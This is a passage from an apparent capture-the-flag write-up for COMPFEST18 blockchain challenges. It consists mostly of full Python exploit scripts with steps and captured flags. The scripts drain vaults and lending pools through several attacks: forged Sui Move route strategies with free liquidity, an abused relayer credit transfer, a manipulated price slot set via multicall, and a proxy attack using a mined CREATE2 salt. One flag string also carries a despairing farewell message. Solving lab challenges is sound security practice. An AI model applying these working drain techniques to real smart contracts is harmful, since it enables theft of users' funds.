    return keccak(text=signature)[:4]


def solve_pow(challenge: str) -> str:
    version, difficulty_b64, seed_b64 = challenge.split(".")
    if version != "s":
        raise ValueError("unsupported proof-of-work version")
    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
    value = int.from_bytes(base64.b64decode(seed_b64), "big")
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
    size = max((value.bit_length() + 7) // 8, 160)
    return "s." + base64.b64encode(value.to_bytes(size, "big")).decode()


def launch(base: str):
    session = requests.Session()
    challenge = session.get(f"{base}/challenge", timeout=15).json()["challenge"]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
    print(f"proof-of-work: difficulty {difficulty}", flush=True)
    session.post(f"{base}/solution", json={"solution": solve_pow(challenge)},
                 timeout=30).raise_for_status()
    print("proof-of-work: accepted", flush=True)
    response = session.post(f"{base}/launch", timeout=120)
    response.raise_for_status()
    fields = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if isinstance(value, (str, int)):
                    fields[key] = value
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(response.json())
    return session, fields


def fetch_flag(session, base, attempts=4, delay=2):
    for attempt in range(attempts):
        for method in ("post", "get"):
            r = getattr(session, method)(f"{base}/flag", timeout=15)
            if r.ok and "COMPFEST18{" in r.text:
                start = r.text.index("COMPFEST18{")
                return r.text[start:r.text.index("}", start) + 1]
        if attempt + 1 < attempts:
            time.sleep(delay)
    raise RuntimeError("launcher did not release a flag")


class Rpc:
    def __init__(self, url):
        self.url = url
        self.n = 0

    def call(self, method, params):
        self.n += 1
        r = requests.post(self.url, json={"jsonrpc": "2.0", "id": self.n,
                                          "method": method, "params": params},
                          timeout=60)
        r.raise_for_status()
        body = r.json()
        if "error" in body:
            raise RuntimeError(f"{method}: {body['error']}")
        return body["result"]

    def eth_call(self, to, data):
        return self.call("eth_call", [{"to": to, "data": "0x" + data.hex()}, "latest"])

    def send(self, account, to, data, label, value=0):
        tx = {
            "chainId": int(self.call("eth_chainId", []), 16),
            "nonce": int(self.call("eth_getTransactionCount",
                                   [account.address, "pending"]), 16),
            "to": to,
            "value": value,
            "data": "0x" + data.hex(),
            "gas": 3_000_000,
            "maxFeePerGas": 3 * int(self.call("eth_gasPrice", []), 16) + 10 ** 9,
            "maxPriorityFeePerGas": 10 ** 9,
        }
        if to is None:
            tx.pop("to")
        signed = account.sign_transaction(tx)
        h = self.call("eth_sendRawTransaction", ["0x" + signed.raw_transaction.hex()])
        for _ in range(120):
            receipt = self.call("eth_getTransactionReceipt", [h])
            if receipt:
                status = int(receipt["status"], 16)
                print(f"  {label:22} status={status} "
                      f"{'contract=' + receipt['contractAddress'] if receipt.get('contractAddress') else ''}",
                      flush=True)
                if status != 1:
                    raise RuntimeError(f"{label} reverted ({h})")
                return receipt
            time.sleep(1)
        raise RuntimeError(f"{label}: receipt never arrived")


def read_address(rpc, to, signature):
    return to_checksum_address("0x" + rpc.eth_call(to, selector(signature))[-40:])


def compile_impl() -> bytes:
    source = HERE / "Impl.sol"
    for solc in ("solc", str(Path.home() / ".solcx" / "solc-v0.8.30")):
        try:
            out = subprocess.run(
                [solc, "--optimize", "--optimize-runs", "200",
                 "--metadata-hash", "none", "--bin-runtime", str(source)],
                capture_output=True, text=True, timeout=300)
        except (FileNotFoundError, subprocess.TimeoutExpired):
            continue
        if out.returncode != 0:
            continue
        seen_impl = False
        for line in out.stdout.splitlines():
            if line.endswith(":Impl"):
                seen_impl = True
            elif seen_impl and len(line) > 80 and all(c in "0123456789abcdef" for c in line):
                return bytes.fromhex(line)
    pinned = HERE / "impl.hex"
    if pinned.exists():
        return bytes.fromhex(pinned.read_text().strip())
    raise SystemExit("no solc and no pinned impl.hex")


def mine_salt(factory: str, initcode: bytes):
    init_hash = keccak(initcode)
    factory_bytes = bytes.fromhex(factory[2:])
    for salt in range(1 << 24):
        digest = keccak(b"\xff" + factory_bytes + salt.to_bytes(32, "big") + init_hash)
        if digest[12:14] == b"\x00\x00":
            return salt, to_checksum_address("0x" + digest[12:].hex())
    raise RuntimeError("no vanity salt found")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", required=True, help="<target host, port>")
    args = parser.parse_args()
    base = args.base.rstrip("/")

    session, fields = launch(base)
    rpc = Rpc(fields["RPC_URL"].replace("{ORIGIN}", base))
    account = Account.from_key(fields["PRIVKEY"])
    setup = to_checksum_address(fields.get("SETUP_CONTRACT_ADDR") or fields["SETUP"])
    print(f"player: {account.address}\nsetup:  {setup}", flush=True)

    jail = read_address(rpc, setup, "TARGET()")
    palace = read_address(rpc, setup, "PALACE()")
    print(f"jail:   {jail}\npalace: {palace}", flush=True)

    impl_runtime = compile_impl()
    impl_init = deploy_code(impl_runtime)
    print(f"implementation runtime: {len(impl_runtime)} bytes", flush=True)

    receipt = rpc.send(account, None, deploy_code(FACTORY_RUNTIME), "deploy factory")
    factory = to_checksum_address(receipt["contractAddress"])
    print(f"factory: {factory}", flush=True)

    salt, predicted = mine_salt(factory, impl_init)
    print(f"salt {salt} -> {predicted}", flush=True)

    rpc.send(account, factory, salt.to_bytes(32, "big") + impl_init, "deploy impl")
    if rpc.call("eth_getCode", [predicted, "latest"]) in ("0x", "0x0"):
        raise RuntimeError("implementation did not land at the mined address")

    receipt = rpc.send(account, None, deploy_code(agent_runtime(predicted)), "deploy agent")
    agent = to_checksum_address(receipt["contractAddress"])
    print(f"agent:   {agent} ({len(agent_runtime(predicted))} bytes)", flush=True)

    payload = selector("attack(address)") + abi_encode(["address"], [jail])
    rpc.send(account, agent, payload, "attack")

    opened = int(rpc.eth_call(jail, selector("pathOpened()")), 16)
    balance = int(rpc.call("eth_getBalance", [jail, "latest"]), 16)
    palace_solved = int(rpc.eth_call(palace, selector("isSolved()")), 16)
    solved = int(rpc.eth_call(setup, selector("isSolved()")), 16)
    print(f"pathOpened={bool(opened)}  jail_balance={balance} wei  "
          f"palace.isSolved={bool(palace_solved)}", flush=True)
    print(f"Setup.isSolved(): {bool(solved)}", flush=True)
    if not solved:
        raise SystemExit("setup did not accept the run")

    print("FLAG:", fetch_flag(session, base))
    return 0


if __name__ == "__main__":
    sys.exit(main())

Final Flag

COMPFEST18{I_guess_bro_here_is_relatively_secure_mirror_flag_you_have_searched_for_0f95fd47}

13. Compfest Coin

Steps

1. Solve the launcher proof of work, start an instance with POST /launch, and read /data to obtain the RPC URL, the suiprivkey1… key, and the shared object ids.

2. Read setup.move for the win condition, then confirm on chain that vault.market equals canonical_market<SUIX, USDC>() and that listed_markets contains only direct_market<SUIX, USDC>().

3. Execute the following six transactions in order.

   1. pool::create_route_pool<USDC, SUIX>(REGISTRY, CONFIG, 1, 1000) creates the evil pool. Its direct key, USDC followed by SUIX, is unlisted, while its canonical key is SUIX followed by USDC.
   2. registry::register_route_strategy<SUIX, USDC, u64>(REGISTRY, 0u64) forges a RouteStrategy<u64> on the canonical market.
   3. pool::open_position<USDC, SUIX>(evil_pool) opens the position object.
   4. pool::add_liquidity<USDC, SUIX>(evil_pool, position, 1000, CONFIG) credits shares = 1000 with zero assets deposited.
   5. vault::claim_route_incentives<USDC, SUIX, u64>(...) moves earned from 0 to 1000 and vault.balance from 1000 to 0.
   6. setup::solve(SETUP, ACCOUNT, CONFIG) flips solved from false to true.

4. Request GET /flag from the launcher, which now releases the flag.

All six transactions of the verification run succeeded.

The broken invariants were read directly off chain after the run. The attacker pool's canonical_market is byte-identical to vault.market while its direct_market differs, its quoted_route_score is 1000 against the honest pool's 1, and its effective_liquidity is 1000 with zero assets deposited. On the accounting side, account.earned moves from 0 to 1000, which clears the bounty_target of 500, vault.balance moves from 1000 to 0, and setup.solved flips from false to true.

The full sequence was replayed on a second, independently launched instance and produced the same result.

Exploit

solve.py

import base64
import hashlib
import json
import sys
import urllib.request
from pathlib import Path

import nacl.signing


HERE = Path(__file__).resolve().parent
LAUNCH_RESPONSE = HERE / "work" / "launch.json"
EVIDENCE = HERE / "evidence"
ORIGIN = "<target host, port>"


def load_instance():
    data = json.loads(LAUNCH_RESPONSE.read_text())
    if not data.get("success"):
        raise RuntimeError(f"launcher did not return a live instance: {data}")

    flat = {}
    for value in data.values():
        if isinstance(value, dict):
            flat.update(value)

    required = {
        "RPC_URL",
        "PRIVKEY",
        "WALLET_ADDR",
        "PACKAGE_ID",
        "SETUP_ID",
        "REGISTRY",
        "VAULT",
        "POOL",
        "ACCOUNT",
        "CONFIG",
        "ORACLE",
    }
    missing = required.difference(flat)
    if missing:
        raise RuntimeError(f"missing launcher fields: {sorted(missing)}")
    flat["RPC_URL"] = flat["RPC_URL"].replace("{ORIGIN}", ORIGIN)
    return flat


class SuiClient:
    def __init__(self, url, private_key):
        self.url = url
        self.request_id = 0
        seed = self.decode_private_key(private_key)
        self.signing_key = nacl.signing.SigningKey(seed)
        self.public_key = bytes(self.signing_key.verify_key)
        address_hash = hashlib.blake2b(b"\x00" + self.public_key, digest_size=32)
        self.address = "0x" + address_hash.hexdigest()

    @staticmethod
    def decode_private_key(encoded):
        charset = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
        hrp, separator, payload = encoded.rpartition("1")
        if not separator or hrp != "suiprivkey":
            raise ValueError("unexpected Sui private-key encoding")
        values = [charset.index(character) for character in payload]

        generators = [
            0x3B6A57B2,
            0x26508E6D,
            0x1EA119FA,
            0x3D4233DD,
            0x2A1462B3,
        ]

        def polymod(items):
            checksum = 1
            for item in items:
                high = checksum >> 25
                checksum = ((checksum & 0x1FFFFFF) << 5) ^ item
                for index, generator in enumerate(generators):
                    if (high >> index) & 1:
                        checksum ^= generator
            return checksum

        expanded_hrp = (
            [ord(character) >> 5 for character in hrp]
            + [0]
            + [ord(character) & 31 for character in hrp]
        )
        if polymod(expanded_hrp + values) != 1:
            raise ValueError("invalid bech32 checksum")

        accumulator = 0
        bits = 0
        decoded = bytearray()
        for value in values[:-6]:
            accumulator = (accumulator << 5) | value
            bits += 5
            if bits >= 8:
                bits -= 8
                decoded.append((accumulator >> bits) & 0xFF)

        if len(decoded) != 33 or decoded[0] != 0:
            raise ValueError("private key is not a 32-byte Ed25519 seed")
        return bytes(decoded[1:])

    def rpc(self, method, params):
        self.request_id += 1
        body = json.dumps(
            {
                "jsonrpc": "2.0",
                "id": self.request_id,
                "method": method,
                "params": params,
            }
        ).encode()
        request = urllib.request.Request(
            self.url,
            data=body,
            method="POST",
            headers={"Content-Type": "application/json"},
        )
        with urllib.request.urlopen(request, timeout=60) as response:
            result = json.loads(response.read())
        if "error" in result:
            raise RuntimeError(f"{method}: {result['error']}")
        return result["result"]

    def sign(self, transaction_bytes):
        intent_message = b"\x00\x00\x00" + base64.b64decode(transaction_bytes)
        digest = hashlib.blake2b(intent_message, digest_size=32).digest()
        signature = self.signing_key.sign(digest).signature
        serialized = b"\x00" + signature + self.public_key
        return base64.b64encode(serialized).decode()

    def move_call(self, package, module, function, type_args, args, label):
        transaction = self.rpc(
            "unsafe_moveCall",
            [
                self.address,
                package,
                module,
                function,
                type_args,
                args,
                None,
                "200000000",
            ],
        )
        transaction_bytes = transaction["txBytes"]
        result = self.rpc(
            "sui_executeTransactionBlock",
            [
                transaction_bytes,
                [self.sign(transaction_bytes)],
                {
                    "showEffects": True,
                    "showEvents": True,
                    "showObjectChanges": True,
                    "showInput": False,
                },
                "WaitForLocalExecution",
            ],
        )
        status = result["effects"]["status"]
        print(f"[tx] {label:28s} {result['digest']}  {status['status']}")
        if status["status"] != "success":
            raise RuntimeError(f"{label} failed: {status}")
        (EVIDENCE / f"{label}.json").write_text(json.dumps(result, indent=2))
        return result

    def object_fields(self, object_id):
        result = self.rpc(
            "sui_getObject",
            [
                object_id,
                {"showContent": True, "showType": True, "showOwner": True},
            ],
        )
        return result["data"]["content"]["fields"]


def created_object(result, type_fragment):
    for change in result.get("objectChanges", []):
        if change.get("type") == "created" and type_fragment in change.get(
            "objectType", ""
        ):
            return change["objectId"]
    raise RuntimeError(f"no created object matching {type_fragment}")


def main():
    EVIDENCE.mkdir(exist_ok=True)
    instance = load_instance()
    client = SuiClient(instance["RPC_URL"], instance["PRIVKEY"])
    if client.address != instance["WALLET_ADDR"]:
        raise RuntimeError("derived address does not match launcher wallet")

    package = instance["PACKAGE_ID"]
    suix = f"{package}::assets::SUIX"
    usdc = f"{package}::assets::USDC"

    print(f"[*] RPC:     {instance['RPC_URL']}")
    print(f"[*] package: {package}")
    print(f"[*] wallet:  {client.address} (key derivation verified)")

    before = {
        "vault": client.object_fields(instance["VAULT"]),
        "account": client.object_fields(instance["ACCOUNT"]),
        "config": client.object_fields(instance["CONFIG"]),
        "oracle": client.object_fields(instance["ORACLE"]),
        "original_pool": client.object_fields(instance["POOL"]),
        "setup": client.object_fields(instance["SETUP_ID"]),
    }
    print(
        "[*] before:",
        f"earned={before['account']['earned']}",
        f"target={before['config']['bounty_target']}",
        f"vault={before['vault']['balance']}",
        f"solved={before['setup']['solved']}",
    )

    result = client.move_call(
        package,
        "pool",
        "create_route_pool",
        [usdc, suix],
        [instance["REGISTRY"], instance["CONFIG"], "1", "1000"],
        "01_create_reversed_pool",
    )
    evil_pool = created_object(result, "pool::RoutePool")

    result = client.move_call(
        package,
        "registry",
        "register_route_strategy",
        [suix, usdc, "u64"],
        [instance["REGISTRY"], "0"],
        "02_forge_u64_strategy",
    )
    strategy = created_object(result, "registry::RouteStrategy")

    result = client.move_call(
        package,
        "pool",
        "open_position",
        [usdc, suix],
        [evil_pool],
        "03_open_position",
    )
    position = created_object(result, "pool::RoutePosition")

    client.move_call(
        package,
        "pool",
        "add_liquidity",
        [usdc, suix],
        [evil_pool, position, "1000", instance["CONFIG"]],
        "04_add_free_liquidity",
    )

    pool_fields = client.object_fields(evil_pool)
    position_fields = client.object_fields(position)
    effective_liquidity = (
        int(position_fields["shares"])
        * int(pool_fields["accounted_liquidity"])
        // int(pool_fields["lp_supply"])
    )
    score = int(pool_fields["reserve_quote"]) // int(pool_fields["reserve_base"])
    print(f"[*] forged pool: score={score}, effective_liquidity={effective_liquidity}")

    client.move_call(
        package,
        "vault",
        "claim_route_incentives",
        [usdc, suix, "u64"],
        [
            instance["VAULT"],
            evil_pool,
            strategy,
            position,
            instance["ACCOUNT"],
            instance["ORACLE"],
            instance["CONFIG"],
        ],
        "05_claim_incentives",
    )

    client.move_call(
        package,
        "setup",
        "solve",
        [],
        [instance["SETUP_ID"], instance["ACCOUNT"], instance["CONFIG"]],
        "06_setup_solve",
    )

    after = {
        "vault": client.object_fields(instance["VAULT"]),
        "account": client.object_fields(instance["ACCOUNT"]),
        "setup": client.object_fields(instance["SETUP_ID"]),
        "evil_pool": client.object_fields(evil_pool),
        "position": client.object_fields(position),
        "created_ids": {
            "pool": evil_pool,
            "strategy": strategy,
            "position": position,
        },
    }
    print(
        "[*] after:",
        f"earned={after['account']['earned']}",
        f"vault={after['vault']['balance']}",
        f"solved={after['setup']['solved']}",
    )
    if after["setup"]["solved"] is not True:
        raise RuntimeError("setup.solved did not become true")

    (EVIDENCE / "state_before_after.json").write_text(
        json.dumps({"before": before, "after": after}, indent=2)
    )
    return 0


if __name__ == "__main__":
    sys.exit(main())

launcher.py

import argparse, base64, json, subprocess, sys, time
from pathlib import Path

import requests

HERE = Path(__file__).resolve().parent
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277


def solve_pow(challenge):
    version, difficulty_b64, seed_b64 = challenge.split(".")
    if version != "s":
        raise ValueError("unsupported proof-of-work version")
    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
    value = int.from_bytes(base64.b64decode(seed_b64), "big")
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)
    size = max((value.bit_length() + 7) // 8, 160)
    return "s." + base64.b64encode(value.to_bytes(size, "big")).decode()


def launch(base):
    session = requests.Session()
    challenge = session.get(f"{base}/challenge", timeout=15).json()["challenge"]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
    print(f"proof-of-work: difficulty {difficulty}", flush=True)
    session.post(f"{base}/solution", json={"solution": solve_pow(challenge)},
                 timeout=30).raise_for_status()
    print("proof-of-work: accepted", flush=True)
    response = session.post(f"{base}/launch", timeout=120)
    response.raise_for_status()
    payload = response.json()
    try:
        payload.setdefault("_data", session.get(f"{base}/data", timeout=15).json())
    except requests.RequestException:
        pass
    return session, payload


def flatten(payload):
    out = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if isinstance(value, (str, int)):
                    out[key] = value
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(payload)
    return out


def fetch_flag(session, base, attempts=3, delay=1):
    for attempt in range(attempts):
        for method in ("post", "get"):
            response = getattr(session, method)(f"{base}/flag", timeout=10)
            if response.ok:
                text = response.text
                try:
                    data = response.json()
                    text = json.dumps(data)
                except ValueError:
                    pass
                if "COMPFEST18{" in text:
                    start = text.index("COMPFEST18{")
                    return text[start:text.index("}", start) + 1]
        if attempt + 1 < attempts:
            time.sleep(delay)
    raise RuntimeError("launcher did not release a flag")


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", required=True, help="<target host, port>")
    parser.add_argument("--mode", choices=["coin", "timekeeper"], required=True)
    args = parser.parse_args()
    base = args.base.rstrip("/")

    session, payload = launch(base)
    fields = flatten(payload)
    print("launcher fields:", sorted(fields), flush=True)

    if args.mode == "coin":
        work = HERE / "work"
        work.mkdir(exist_ok=True)
        (work / "launch.json").write_text(json.dumps(payload))
        source = (HERE / "solve.py").read_text()
        (HERE / "solve.py").write_text(
            source.replace('ORIGIN = "<target host, port>"', f'ORIGIN = "{base}"'))
        command = [sys.executable, str(HERE / "solve.py")]
    else:
        command = [
            sys.executable, str(HERE / "exploit.py"),
            "--rpc", fields["RPC_URL"].replace("{ORIGIN}", base),
            "--private-key", fields["PRIVKEY"],
            "--setup", fields.get("SETUP_CONTRACT_ADDR") or fields["SETUP"],
            "--player", fields["WALLET_ADDR"],
        ]

    code = subprocess.run(command, cwd=HERE).returncode
    print("solver exit:", code, flush=True)
    if code != 0:
        return code
    time.sleep(2)
    print("FLAG:", fetch_flag(session, base))
    return 0


if __name__ == "__main__":
    sys.exit(main())

Final Flag

COMPFEST18{Allow_me_to_say_goodbye_to_the_Crypto_World_Today_might_be_the_heaviest_day_for_me_My_hands_are_trembling_as_I_write_this_my_chest_feels_tight_and_my_head_is_full_of_thoughts_The_crypto_world_really_knows_no_mercy_I_have_fought_this_far_hoping_there_would_be_light_at_the_end_of_that_red_chart_But_the_reality_is_Crypto_is_sadistic_and_cruel_Sometimes_it_drains_not_only_your_balance_but_also_your_heart_and_spirit_For_friends_who_have_not_entered_yet_listen_carefully_Do_not_be_reckless_This_world_is_not_a_place_to_just_try_things_Learn_first_understand_the_risks_and_never_put_in_more_than_you_can_afford_to_lose_I_apologize_if_any_of_my_words_have_offended_anyone_here_There_was_never_any_bad_intention_only_the_emotions_of_someone_who_has_endured_the_storm_for_too_long_And_now_I_give_up_I_want_to_rest_Those_of_you_who_are_still_strong_continue_your_struggle_But_for_those_who_also_feel_broken_maybe_it_is_time_for_us_to_CL_together_Alt_season_is_really_over_Thank_you_for_all_the_stories_laughter_and_pain_we_have_shared_here_See_you_in_the_next_life_not_as_a_trader_but_as_a_human_who_has_learned}

14. Phantom Ledger

Steps

1. Solve the launcher proof of work (kctf SLOTH at difficulty 10000, which takes about 13 seconds), send POST /launch, and read /data for RPC_URL, PRIVKEY, SETUP_CONTRACT_ADDR and WALLET_ADDR.
2. Read Setup.vault() to obtain the deployed PhantomVault address, and confirm that the deployed bytecode matches the handout before trusting the source, by issuing an eth_call of transferCredit from the player (which succeeds) and the same call from an unrelated address (which reverts with execution reverted: Not authorized). This proves that the relayer branch is live on-chain.
3. Confirm the accounting by checking that balances[Setup] == 10 ether, that address(vault).balance == 10 ether and that vault.relayer() == player.
4. Send transferCredit(Setup, player, 10e18) from the player account.
5. Send withdraw(10e18) from the player account.
6. Assert that address(vault).balance == 0 and that Setup.isSolved() == true.
7. Request GET /flag from the launcher to collect the flag.

The verification run produced the following results, with both receipts reporting status = 1:

transferCredit  <TX>  block 2, gas 50177
withdraw        <TX>  block 3, gas 46552

vault ETH balance   10000000000000000000 -> 0
balances[Setup]     10e18 -> 0
player EOA           5 ETH -> 14.9999 ETH
Setup.isSolved()    false -> true

The exploit was then replayed on a second, independently launched instance, and it produced identical results, so the path is deterministic rather than a one-off state artifact.

Exploit

import argparse
import base64
import time

import requests
from eth_abi import encode
from eth_account import Account
from eth_utils import keccak, to_checksum_address


CREDENTIAL_KEYS = {
    "RPC_URL",
    "PRIVKEY",
    "SETUP_CONTRACT_ADDR",
    "WALLET_ADDR",
}
POW_MODULUS = (1 << 1279) - 1
POW_EXPONENT = 1 << 1277


def solve_pow(challenge):
    version, difficulty_b64, seed_b64 = challenge.split(".")
    if version != "s":
        raise ValueError("unsupported proof-of-work version")

    difficulty = int.from_bytes(base64.b64decode(difficulty_b64), "big")
    value = int.from_bytes(base64.b64decode(seed_b64), "big")
    for _ in range(difficulty):
        value = 1 ^ pow(value, POW_EXPONENT, POW_MODULUS)

    size = max((value.bit_length() + 7) // 8, 160)
    encoded = base64.b64encode(value.to_bytes(size, "big")).decode()
    return f"s.{encoded}"


def extract_credentials(payload, origin):
    found = {}

    def visit(node):
        if isinstance(node, dict):
            for key, value in node.items():
                if key in CREDENTIAL_KEYS and isinstance(value, (str, int)):
                    found[key] = str(value).replace("{ORIGIN}", origin.rstrip("/"))
                else:
                    visit(value)
        elif isinstance(node, list):
            for value in node:
                visit(value)

    visit(payload)
    return found


class JsonRpc:
    def __init__(self, url):
        self.url = url
        self.request_id = 0

    def call(self, method, params):
        self.request_id += 1
        response = requests.post(
            self.url,
            json={
                "jsonrpc": "2.0",
                "id": self.request_id,
                "method": method,
                "params": params,
            },
            timeout=20,
        )
        response.raise_for_status()
        body = response.json()
        if "error" in body:
            raise RuntimeError(f"RPC {method} failed: {body['error']}")
        return body["result"]


def calldata(signature, types=(), values=()):
    return "0x" + (keccak(text=signature)[:4] + encode(types, values)).hex()


def contract_call(rpc, address, data):
    return rpc.call("eth_call", [{"to": address, "data": data}, "latest"])


def read_address(rpc, address, signature):
    result = contract_call(rpc, address, calldata(signature))
    return to_checksum_address("0x" + result[-40:])


def read_uint(rpc, address, signature, types=(), values=()):
    result = contract_call(rpc, address, calldata(signature, types, values))
    return int(result, 16)


def wait_receipt(rpc, tx_hash, timeout=45):
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        receipt = rpc.call("eth_getTransactionReceipt", [tx_hash])
        if receipt is not None:
            if int(receipt["status"], 16) != 1:
                raise RuntimeError(f"transaction reverted: {tx_hash}")
            return receipt
        time.sleep(0.5)
    raise TimeoutError(f"timed out waiting for transaction: {tx_hash}")


def send_transaction(rpc, account, private_key, target, data, label):
    chain_id = int(rpc.call("eth_chainId", []), 16)
    nonce = int(
        rpc.call("eth_getTransactionCount", [account.address, "pending"]), 16
    )
    gas_price = int(rpc.call("eth_gasPrice", []), 16)
    estimate = int(
        rpc.call(
            "eth_estimateGas",
            [{"from": account.address, "to": target, "data": data, "value": "0x0"}],
        ),
        16,
    )
    transaction = {
        "chainId": chain_id,
        "nonce": nonce,
        "to": target,
        "value": 0,
        "data": data,
        "gas": estimate + estimate // 5 + 10_000,
        "gasPrice": gas_price,
    }
    signed = Account.sign_transaction(transaction, private_key)
    raw = signed.raw_transaction.hex()
    if not raw.startswith("0x"):
        raw = "0x" + raw
    tx_hash = rpc.call("eth_sendRawTransaction", [raw])
    print(f"{label}: {tx_hash}", flush=True)
    wait_receipt(rpc, tx_hash)
    return tx_hash


def launch_instance(base_url):
    session = requests.Session()
    challenge_response = session.get(f"{base_url}/challenge", timeout=10)
    challenge_response.raise_for_status()
    challenge = challenge_response.json()["challenge"]
    difficulty = int.from_bytes(base64.b64decode(challenge.split(".")[1]), "big")
    print(f"launcher proof-of-work: difficulty {difficulty}", flush=True)
    solution = solve_pow(challenge)

    solution_response = session.post(
        f"{base_url}/solution", json={"solution": solution}, timeout=20
    )
    solution_response.raise_for_status()
    print("launcher proof-of-work: accepted", flush=True)

    launch_response = session.post(f"{base_url}/launch", timeout=60)
    launch_response.raise_for_status()
    launch_payload = launch_response.json()
    credentials = extract_credentials(launch_payload, base_url)
    if CREDENTIAL_KEYS - credentials.keys():
        data_response = session.get(f"{base_url}/data", timeout=10)
        data_response.raise_for_status()
        credentials.update(extract_credentials(data_response.json(), base_url))
    missing = CREDENTIAL_KEYS - credentials.keys()
    if missing:
        raise RuntimeError(f"launcher omitted credential fields: {sorted(missing)}")
    print("launcher instance: running; credentials loaded in memory", flush=True)
    return session, credentials


def fetch_flag(session, base_url, attempts=3, delay=1):
    statuses = []
    for attempt in range(attempts):
        for method in ("post", "get"):
            response = getattr(session, method)(f"{base_url}/flag", timeout=10)
            statuses.append(f"{method.upper()} {response.status_code}")
            if not response.ok:
                continue

            flag = None
            try:
                payload = response.json()
                if isinstance(payload, dict):
                    flag = payload.get("flag")
            except requests.exceptions.JSONDecodeError:
                flag = response.text.strip()
            if isinstance(flag, str) and flag:
                return flag

        if attempt + 1 < attempts:
            time.sleep(delay)
    raise RuntimeError(f"launcher returned no flag ({', '.join(statuses)})")


def run(base_url):
    session, credentials = launch_instance(base_url)
    private_key = credentials["PRIVKEY"]
    account = Account.from_key(private_key)
    player = to_checksum_address(credentials["WALLET_ADDR"])
    setup = to_checksum_address(credentials["SETUP_CONTRACT_ADDR"])
    if account.address.lower() != player.lower():
        raise RuntimeError("launcher private key does not match wallet")

    rpc = JsonRpc(credentials["RPC_URL"])
    vault = read_address(rpc, setup, "vault()")
    relayer = read_address(rpc, vault, "relayer()")
    setup_credit = read_uint(
        rpc, vault, "balances(address)", ("address",), (setup,)
    )
    vault_balance = int(rpc.call("eth_getBalance", [vault, "latest"]), 16)
    solved_before = bool(read_uint(rpc, setup, "isSolved()"))

    print(f"setup credit: {setup_credit / 10**18:g} ETH", flush=True)
    print(f"vault balance: {vault_balance / 10**18:g} ETH", flush=True)
    print(f"player is relayer: {relayer.lower() == player.lower()}", flush=True)

    if not solved_before:
        if relayer.lower() != player.lower():
            raise RuntimeError("player is not the trusted relayer")
        if setup_credit <= 0 or setup_credit != vault_balance:
            raise RuntimeError("unexpected Setup credit or vault balance")

        move_credit = calldata(
            "transferCredit(address,address,uint256)",
            ("address", "address", "uint256"),
            (setup, player, setup_credit),
        )
        send_transaction(
            rpc, account, private_key, vault, move_credit, "transferCredit tx"
        )
        withdraw = calldata("withdraw(uint256)", ("uint256",), (setup_credit,))
        send_transaction(rpc, account, private_key, vault, withdraw, "withdraw tx")

    solved_after = bool(read_uint(rpc, setup, "isSolved()"))
    final_balance = int(rpc.call("eth_getBalance", [vault, "latest"]), 16)
    print(f"Setup.isSolved(): {solved_after}", flush=True)
    print(f"final vault balance: {final_balance} wei", flush=True)
    if not solved_after or final_balance != 0:
        raise RuntimeError("vault was not fully drained")

    flag = fetch_flag(session, base_url)
    print(f"DYNAMIC_FLAG={flag}", flush=True)
    print("flag submission: not performed", flush=True)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--base", required=True, help="<target host, port>")
    args = parser.parse_args()
    run(args.base.rstrip("/"))


if __name__ == "__main__":
    main()

Final Flag

COMPFEST18{ph4nt0m_l3dg3r_cr0ss_funct10n_r33ntr4ncy_w1th_ecdsa_m4ll3ab1l1ty}

15. The Timekeeper's Paradox

Steps

1. Call proxy.multicall([abi.encode(setPendingAdmin(1))]), after which the lending pool reads the price as 1.
2. Call TimekeeperToken.mint(self, ...) to obtain extra collateral, and deposit that TKG into the lending pool.
3. Call TimekeeperLending.borrowETH(address(pool).balance), which with the price fixed at 1 treats the deposited collateral as being worth far more than 50 ETH and therefore hands over the entire pool balance, leaving the pool at 0.
4. Confirm that Setup.isSolved() now returns true, and then request GET /flag, which returns the flag.

Exploit

exploit.py

import argparse
import json
import time

import requests
from Crypto.Hash import keccak
from eth_abi import encode
from eth_account import Account
from eth_utils import to_checksum_address


def encode_call(signature, *values):
    digest = keccak.new(digest_bits=256, data=signature.encode()).digest()[:4]
    types_text = signature[signature.index("(") + 1 : -1]
    types = [] if not types_text else types_text.split(",")
    return "0x" + (digest + encode(types, values)).hex()


def decode_address(result):
    raw = result.removeprefix("0x")
    if len(raw) != 64:
        raise ValueError("expected a 32-byte address result")
    return "0x" + raw[-40:]


def normalize_address(address):
    return to_checksum_address(address)


def price_slot_multicall():
    price_one = "0x0000000000000000000000000000000000000001"
    inner = bytes.fromhex(encode_call("setPendingAdmin(address)", price_one)[2:])
    return encode_call("multicall(bytes[])", [inner])


class Rpc:
    def __init__(self, url):
        self.url = url
        self.request_id = 0

    def call(self, method, params):
        self.request_id += 1
        response = requests.post(
            self.url,
            json={
                "jsonrpc": "2.0",
                "id": self.request_id,
                "method": method,
                "params": params,
            },
            timeout=10,
        )
        response.raise_for_status()
        payload = response.json()
        if "error" in payload:
            raise RuntimeError(json.dumps(payload["error"], sort_keys=True))
        return payload["result"]

    def eth_call(self, to, data):
        return self.call("eth_call", [{"to": to, "data": data}, "latest"])

    def send(self, private_key, to, data):
        account = Account.from_key(private_key)
        tx = {
            "chainId": int(self.call("eth_chainId", []), 16),
            "nonce": int(self.call("eth_getTransactionCount", [account.address, "pending"]), 16),
            "gasPrice": int(self.call("eth_gasPrice", []), 16),
            "gas": 1_500_000,
            "to": normalize_address(to),
            "value": 0,
            "data": data,
        }
        signed = account.sign_transaction(tx)
        tx_hash = self.call("eth_sendRawTransaction", [signed.raw_transaction.hex()])
        for _ in range(60):
